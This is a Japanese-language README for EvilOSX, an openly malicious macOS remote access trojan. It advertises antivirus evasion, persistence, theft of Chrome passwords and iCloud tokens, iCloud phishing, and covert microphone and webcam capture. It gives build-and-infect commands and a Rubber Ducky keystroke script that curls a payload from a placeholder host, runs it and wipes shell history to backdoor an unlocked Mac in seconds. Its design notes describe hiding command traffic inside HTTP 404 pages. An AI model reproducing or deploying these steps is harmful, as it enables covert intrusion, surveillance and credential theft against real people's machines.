EvilOSX
macOS / OS X 用の邪悪なRAT(リモート管理ツール)
Marco Generator by Cedric Owens
このプロジェクトは現在アクティブではありません
機能
- ターミナルインスタンスのエミュレート
- シンプルで拡張可能なモジュールシステム
- ボットの依存関係なし(純粋なPython)
- アンチウイルスに検出されない(OpenSSL AES-256 暗号化ペイロード)
- 永続的
- GUIおよびCLIのサポート
- Chromeのパスワードを取得
- iCloudトークンと連絡先を取得
- クリップボードの取得/監視
- ブラウザ履歴の取得(ChromeとSafari)
- iTunes経由でiCloudパスワードをフィッシング
- iTunes(iOS)バックアップの列挙
- マイクを録音
- デスクトップのスクリーンショットまたはウェブカメラを使用した写真を撮影
- ローカルの権限昇格を介してrootを取得しようとする
使用方法
# このリポジトリをクローンまたはダウンロード
$ git clone https://github.com/Marten4n6/EvilOSX
# リポジトリに移動
$ cd EvilOSX
# サーバーに必要な依存関係をインストール
$ sudo pip install -r requirements.txt
# GUIを起動
$ python start.py
# 最後に、ターゲット上でビルドしたランチャーを実行
警告: ペイロードはターゲットシステムに固有に作成されるため(サーバーによって自動的に)、ボットが初めて接続するときはサーバーが実行中である必要があります。
上級者向け
SSH経由で使用したい人のためのCLIもあります:
# ターゲットに感染させるランチャーを作成
$ python start.py --builder
# CLIを起動
$ python start.py --cli --port 1337
# 最後に、ターゲット上でビルドしたランチャーを実行
スクリーンショット

動機
このプロジェクトは私の Rubber Ducky と一緒に使用するために作成されました。以下が簡単なスクリプトです:
REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
- ロック解除されたMacにバックドアを仕掛けるのに約10秒かかります。これは…… 素晴らしい
- Terminal は意図的にそのように綴られています。そうしないと、一部のシステムではSpotlightがターミナルを見つけられません。
- キーボード設定アシスタントをバイパスするには、こちらのVID&PIDを変更してください。
アルミニウムキーボード(ISO)がおそらく必要なものです。
バージョニング
EvilOSXは可能な限りセマンティックバージョニングガイドラインに従って管理されます。
サーバーとボットのリリースは以下の形式で番号が付けられます:
以下のガイドラインに従って構成されます:
- 下位互換性を壊す変更(古いボットとの)はメジャーバージョンを上げる
- 下位互換性を壊さない新機能追加はマイナーバージョンを上げる
- バグ修正とその他の変更はパッチバージョンを上げる
SemVerの詳細については、https://semver.org/ をご覧ください。
設計ノート
- マシンへの感染は3つの部分に分かれています:
- ランチャー がターゲットマシンで実行され、その唯一の目的はステージャーを実行することです
- ステージャーはサーバーに ローダー を要求し、ローダーはペイロードの読み込み方法を処理します
- ローダーには一意に暗号化された ペイロード が渡され、ステージャーに送り返されます
- サーバーはHTTP 404エラーページに隠されたメッセージを送信することで通信を隠します(BlackHatの「Hiding In Plain Sight」より)
- コマンドリクエストはGETリクエストでサーバーから取得されます
- コマンドレスポンスはPOSTリクエストでサーバーに送信されます
- モジュールはPythonの動的な性質を利用しており、単にネットワーク経由でzlibで圧縮されて、設定オプションとともに送信されます
- ボットはサーバーとのみ通信し、その逆はないため、サーバーはボットがいつオフラインになるかを知る方法がありません
問題
問題や機能リクエストはこちらから遠慮なく送信してください。
貢献
モジュールの作成方法に関する簡単なガイドはこちらをクリックしてください。
クレジット
- 素晴らしい Empire プロジェクト
- Patrick Wardle氏の素晴らしい講演に感謝します。Objective-Seeをチェックしてください。
- manwhoamiのプロジェクト: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
(現在は削除されています...もし再登場したら教えてください)
- slowlorisモジュールはPySlowLorisからほぼコピーされています
- urwid と このコード はCLIで多くの時間を節約してくれました
- ロゴはmotusoraによって作成されました
ライセンス
GPLv3